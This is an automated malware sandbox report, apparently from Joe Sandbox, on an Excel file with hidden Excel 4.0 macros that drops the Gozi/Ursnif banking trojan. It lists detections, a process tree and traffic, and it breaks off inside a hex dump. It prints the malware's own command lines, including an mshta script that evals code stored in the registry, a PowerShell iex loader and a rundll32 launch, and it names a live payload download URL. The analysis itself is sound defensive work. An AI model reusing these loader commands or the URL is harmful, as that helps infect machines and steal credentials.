Play interactive tour

Edit tour

Analysis Report xls.xls

Overview

General Information

Sample Name:	xls.xls
Analysis ID:	350432
MD5:	0e6d3ca70f81e25baf88e5a2bb5cde7e
SHA1:	830932f1ec44148a6327f08d95b2ebaa4694d2ad
SHA256:	b2701be6d7b593433a48955c5613953470e2c807a87fa18eb33334da66dd41b0
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Gozi Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected Gozi e-Banking trojan

Document exploit detected (drops PE files)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Dot net compiler compiles file from suspicious location

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Ursnif

Compiles code for process injection (via .Net compiler)

Contains functionality to detect sleep reduction / modifications

Creates a thread in another existing process (thread injection)

Disables SPDY (HTTP compression, likely to perform web injects)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Downloads files with wrong headers with respect to MIME Content-Type

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Hijacks the control flow in another process

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the export address table of user mode modules (user mode EAT hooks)

Modifies the prolog of user mode functions (user mode inline hooks)

Office process drops PE file

Overwrites Mozilla Firefox settings

Searches for Windows Mail specific files

Sigma detected: MSHTA Spawning Windows Shell

Sigma detected: Microsoft Office Product Spawning Windows Shell

Suspicious powershell command line found

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file access)

Uses ipconfig to lookup or modify the Windows network settings

Uses nslookup.exe to query domains

Writes registry values via WMI

Writes to foreign memory regions

Allocates a big amount of memory (probably used for heap spraying)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Antivirus or Machine Learning detection for unpacked file

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to get notified if a device is plugged in / out

Contains functionality to launch a process as a different user

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Document contains embedded VBA macros

Downloads executable code via HTTP

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Suspicious Rundll32 Activity

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 1144 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2296 cmdline: rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 1920 cmdline: rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer MD5: 51138BEEA3E2C21EC44D0932C71762A8)

control.exe (PID: 2780 cmdline: C:\Windows\system32\control.exe -h MD5: FD3F34830C39F4B554106ADA19924F4E)

rundll32.exe (PID: 2140 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h MD5: DD81D91FF3B0763C392422865C9AC12E)

iexplore.exe (PID: 2828 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 4EB098135821348270F27157F7A84E65)

iexplore.exe (PID: 2448 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2828 CREDAT:275457 /prefetch:2 MD5: 8A590F790A98F3D77399BE457E01386A)

iexplore.exe (PID: 2392 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 4EB098135821348270F27157F7A84E65)

iexplore.exe (PID: 1844 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2392 CREDAT:275457 /prefetch:2 MD5: 8A590F790A98F3D77399BE457E01386A)

iexplore.exe (PID: 1340 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 4EB098135821348270F27157F7A84E65)

iexplore.exe (PID: 2764 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1340 CREDAT:275457 /prefetch:2 MD5: 8A590F790A98F3D77399BE457E01386A)

iexplore.exe (PID: 2168 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 4EB098135821348270F27157F7A84E65)

iexplore.exe (PID: 1192 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2168 CREDAT:275457 /prefetch:2 MD5: 8A590F790A98F3D77399BE457E01386A)

mshta.exe (PID: 2980 cmdline: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\47278A61-FA3B-119B-3C6B-CED530CFE2D9\\\CRPPcapi'));if(!window.flag)close()</script>' MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 1828 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg)) MD5: 852D67A27E454BD389FA7F02A8CBE23F)

csc.exe (PID: 2364 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline' MD5: 3855B7E82DEA7F28C3B620F44487FCC4)

cvtres.exe (PID: 2456 cmdline: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES6C1D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC6C1C.tmp' MD5: E26F8BDFB6DF8F4A722D2D79A3A14E78)

csc.exe (PID: 824 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\vl8o3v8u.cmdline' MD5: 3855B7E82DEA7F28C3B620F44487FCC4)

cvtres.exe (PID: 2836 cmdline: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES8BAE.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8BAD.tmp' MD5: E26F8BDFB6DF8F4A722D2D79A3A14E78)

explorer.exe (PID: 1388 cmdline: MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

cmd.exe (PID: 656 cmdline: cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\29B8.bi1' MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

nslookup.exe (PID: 928 cmdline: nslookup myip.opendns.com resolver1.opendns.com MD5: 891C5270AFE8A69366702C88F3E24768)

cmd.exe (PID: 1820 cmdline: cmd /C 'echo -------- >> C:\Users\user\AppData\Local\Temp\29B8.bi1' MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

cmd.exe (PID: 1408 cmdline: cmd /C 'ipconfig /all >> C:\Users\user\AppData\Local\Temp\B55E.bin1' MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

ipconfig.exe (PID: 528 cmdline: ipconfig /all MD5: CF45949CDBB39C953331CDCB9CEC20F8)

cmd.exe (PID: 1432 cmdline: cmd /C 'systeminfo.exe > C:\Users\user\AppData\Local\Temp\A8F1.bin1' MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

cleanup

Malware Configuration

Threatname: Ursnif

{"server": "12", "whoami": "user@134349$]", "dns": "134349", "version": "250177", "uptime": "1079", "crc": "2", "id": "3131", "user": "7035163551f465eb3c6bced5387f24a3", "soft": "3"}

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
xls.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x4caa2:$s1: Excel 0x4dafd:$s1: Excel 0x3921:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.2321839049.00000000039CC000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.2321796165.00000000039CC000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.2321745663.00000000039CC000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000001C.00000002.2455042419.0000000002936000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.2321730520.00000000039CC000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.2321759010.00000000039CC000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.2378828561.00000000022D0000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000014.00000002.2416998966.0000000002890000.00000040.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 5 entries

Sigma Overview

System Summary:

Sigma detected: Dot net compiler compiles file from suspicious location

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline', CommandLine: 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline', CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe, ParentCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1828, ProcessCommandLine: 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline', ProcessId: 2364

Sigma detected: MSHTA Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\47278A61-FA3B-119B-3C6B-CED530CFE2D9\\\CRPPcapi'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 2980, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg)), ProcessId: 1828

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer, CommandLine: rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1144, ProcessCommandLine: rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer, ProcessId: 2296

Sigma detected: Suspicious Rundll32 Activity

Show sources

Source: Process started

Author: juju4: Data: Command: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h, CommandLine: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: C:\Windows\system32\control.exe -h, ParentImage: C:\Windows\System32\control.exe, ParentProcessId: 2780, ProcessCommandLine: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h, ProcessId: 2140

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://online-docu-sign-st.com/yytr.png

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: rundll32.exe.1920.4.memstr

Malware Configuration Extractor: Ursnif {"server": "12", "whoami": "user@134349$]", "dns": "134349", "version": "250177", "uptime": "1079", "crc": "2", "id": "3131", "user": "7035163551f465eb3c6bced5387f24a3", "soft": "3"}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\yytr[1].png	ReversingLabs: Detection: 38%
Source: C:\fyjh\zglgy\lckhvmn.drhdh	ReversingLabs: Detection: 38%

Multi AV Scanner detection for submitted file

Show sources

Source: xls.xls	Virustotal: Detection: 16%			Perma Link
Source: xls.xls	ReversingLabs: Detection: 10%

Machine Learning detection for dropped file

Show sources

Source: C:\fyjh\zglgy\lckhvmn.drhdh	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\yytr[1].png	Joe Sandbox ML: detected

Source: 4.2.rundll32.exe.400174.2.unpack	Avira: Label: TR/Kazy.4159236
Source: 4.2.rundll32.exe.430000.4.unpack	Avira: Label: TR/Crypt.XPACK.Gen8

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown

HTTPS traffic detected: 104.16.249.249:443 -> 192.168.2.22:49194 version: TLS 1.2

Binary contains paths to debug symbols

Show sources

Source:	Binary string: ntdll.pdb source: rundll32.exe, 00000004.00000003.2382947063.0000000004910000.00000004.00000001.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000014.00000002.2415948225.0000000001FB0000.00000002.00000001.sdmp

Spreading:

Source: C:\Windows\explorer.exe

Code function: 28_2_02919064 RegisterDeviceNotificationA,

28_2_02919064

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003851E8 GetModuleHandleA,70D9FFF6,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	4_2_003851E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00477AA8 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,CloseHandle,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,	4_2_00477AA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02359B00 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary,	4_2_02359B00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0234E8CE lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError,	4_2_0234E8CE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02349945 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,	4_2_02349945
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02349F54 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,CloseHandle,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,	4_2_02349F54
Source: C:\Windows\explorer.exe	Code function: 28_2_0291EEAC FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,	28_2_0291EEAC
Source: C:\Windows\explorer.exe	Code function: 28_2_0291537C FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,	28_2_0291537C

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0234BB01 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree,

4_2_0234BB01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini

Software Vulnerabilities:

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: yytr[1].png.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 4MB later: 29MB

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2025169 ET TROJAN Windows Executable Downloaded With Image Content-Type Header 8.208.96.68:80 -> 192.168.2.22:49165
Source: Traffic	Snort IDS: 486 ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited 45.67.231.135: -> 192.168.2.22:

Downloads files with wrong headers with respect to MIME Content-Type

Show sources

Source: http

Image file has PE prefix: HTTP/1.1 200 OK Date: Tue, 09 Feb 2021 10:53:09 GMT Server: Apache/2.4.25 (Debian) Last-Modified: Mon, 08 Feb 2021 15:52:01 GMT ETag: "73c00-5bad5268b0a40" Accept-Ranges: bytes Content-Length: 474112 Connection: close Content-Type: image/png Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e a1 0b 01 02 19 00 80 05 00 00 b8 01 00 00 00 00 00 4c 8e 05 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 07 00 00 04 00 00 00 00 00 00 02 00 01 00 00 00 00 00 00 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 c0 05 00 28 22 00 00 00 60 06 00 00 1a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 68 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 80 7e 05 00 00 10 00 00 00 80 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 3c 12 00 00 00 90 05 00 00 14 00 00 00 84 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 95 0c 00 00 00 b0 05 00 00 00 00 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 28 22 00 00 00 c0 05 00 00 24 00 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 68 65 00 00 00 f0 05 00 00 66 00 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 1a 01 00 00 60 06 00 00 1a 01 00 00 22 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 80 07 00 00 00 00 00 00 3c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Uses nslookup.exe to query domains

Show sources

Source: unknown	Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Feb 2021 10:53:09 GMTServer: Apache/2.4.25 (Debian)Last-Modified: Mon, 08 Feb 2021 15:52:01 GMTETag: "73c00-5bad5268b0a40"Accept-Ranges: bytesContent-Length: 474112Connection: closeContent-Type: image/pngData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e a1 0b 01 02 19 00 80 05 00 00 b8 01 00 00 00 00 00 4c 8e 05 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 07 00 00 04 00 00 00 00 00 00 02 00 01 00 00 00 00 00 00 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 c0 05 00 28 22 00 00 00 60 06 00 00 1a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 68 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 80 7e 05 00 00 10 00 00 00 80 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 3c 12 00 00 00 90 05 00 00 14 00 00 00 84 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 95 0c 00 00 00 b0 05 00 00 00 00 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 28 22 00 00 00 c0 05 00 00 24 00 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 68 65 00 00 00 f0 05 00 00 66 00 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 1a 01 00 00 60 06 00 00 1a 01 00 00 22 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 80 07 00 00 00 00 00 00 3c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 